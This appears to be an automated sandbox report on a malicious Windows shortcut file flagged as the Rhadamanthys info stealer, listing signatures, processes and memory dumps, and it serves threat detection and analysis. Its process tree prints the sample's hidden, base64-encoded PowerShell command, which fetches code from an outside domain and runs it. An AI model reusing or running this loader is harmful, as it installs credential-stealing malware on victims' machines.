Resubmissions

06/04/2024, 02:48

240406-dagadaaa7810

05/04/2024, 14:46

240405-r5m83afc498

Analysis

  • max time kernel
    147s
  • max time network
    152s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240226-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
  • submitted
    06/04/2024, 02:48

General

  • Target
    DOC1718 - 17181718.lnk
  • Size 9KB
  • Sample240406-dagadaaa78
  • SHA256 ba41a32b699a07b7a0d7871839ef0c86a9eae01a3277c151a24d288919832fff
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10

Malware Config

Signatures

  • Rhadamanthys

    Rhadamanthys is an info stealer written in C++ first seen in August 2022.

  • Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
  • Blocklisted process makes network request 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\sihost.exe
    sihost.exe
    1⤵
      PID:2516
      • C:\Windows\system32\dialer.exe
        "C:\Windows\system32\dialer.exe"
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        PID:1260
    • C:\Windows\system32\cmd.exe
      cmd /c "C:\Users\Admin\AppData\Local\Temp\DOC1718 - 17181718.lnk"
      1⤵
      • Checks computer location settings
      • Suspicious use of WriteProcessMemory
      PID:3344
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -Ex Bypass -WindowStyle Hidden -Enc KABpAHcAcgAgAGgAdAB0AHAAcwA6AC8ALwBpAG0AYQBuAGkAawB1AHUALgBjAG8AbQAvAGQAbwBuAGUALgB0AHgAdAAgAC0AVQBzAGUAQgBhAHMAaQBjAFAAYQByAHMAaQBuAGcAKQAuAEMAbwBuAHQAZQBuAHQAIAB8ACAAaQBOAHYATwBrAEUALQBFAHgAUAByAGUAUwBzAGkATwBuAA==
        2⤵
        • Suspicious use of NtCreateUserProcessOtherParentProcess
        • Blocklisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:4868

    Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          __PSScriptPolicyTest_0hawx0ia.l4o.ps1

          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_0hawx0ia.l4o.ps1
          • Size 60B
          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
          • MD5 SHA1 SHA512

          memory/1260-24-0x00000287E2460000-0x00000287E2469000-memory.dmp

          memory/1260-37-0x00000287E3EE0000-0x00000287E42E0000-memory.dmp

          memory/1260-36-0x00007FFE2CD00000-0x00007FFE2CFC9000-memory.dmp

          memory/1260-35-0x00007FFE2E530000-0x00007FFE2E5EE000-memory.dmp

          memory/1260-34-0x00000287E3EE0000-0x00000287E42E0000-memory.dmp

          memory/1260-33-0x00007FFE2F110000-0x00007FFE2F305000-memory.dmp

          memory/1260-28-0x00000287E3EE0000-0x00000287E42E0000-memory.dmp

          memory/1260-29-0x00000287E3EE0000-0x00000287E42E0000-memory.dmp

          memory/4868-22-0x00007FFE2E530000-0x00007FFE2E5EE000-memory.dmp

          memory/4868-17-0x000001FA826B0000-0x000001FA82AB0000-memory.dmp

          memory/4868-20-0x00007FFE2F110000-0x00007FFE2F305000-memory.dmp

          memory/4868-2-0x000001FAE6840000-0x000001FAE6862000-memory.dmp

          memory/4868-23-0x00007FFE2CD00000-0x00007FFE2CFC9000-memory.dmp

          memory/4868-18-0x000001FA826B0000-0x000001FA82AB0000-memory.dmp

          memory/4868-19-0x000001FA826B0000-0x000001FA82AB0000-memory.dmp

          memory/4868-21-0x000001FA826B0000-0x000001FA82AB0000-memory.dmp

          memory/4868-30-0x00007FFE10880000-0x00007FFE11341000-memory.dmp

          memory/4868-31-0x000001FA82690000-0x000001FA826A0000-memory.dmp

          memory/4868-32-0x000001FA826B0000-0x000001FA82AB0000-memory.dmp

          memory/4868-16-0x000001FA82690000-0x000001FA826A0000-memory.dmp

          memory/4868-15-0x000001FA82630000-0x000001FA8268E000-memory.dmp

          memory/4868-14-0x000001FAE68C0000-0x000001FAE68D0000-memory.dmp

          memory/4868-13-0x000001FAE68C0000-0x000001FAE68D0000-memory.dmp

          memory/4868-12-0x00007FFE10880000-0x00007FFE11341000-memory.dmp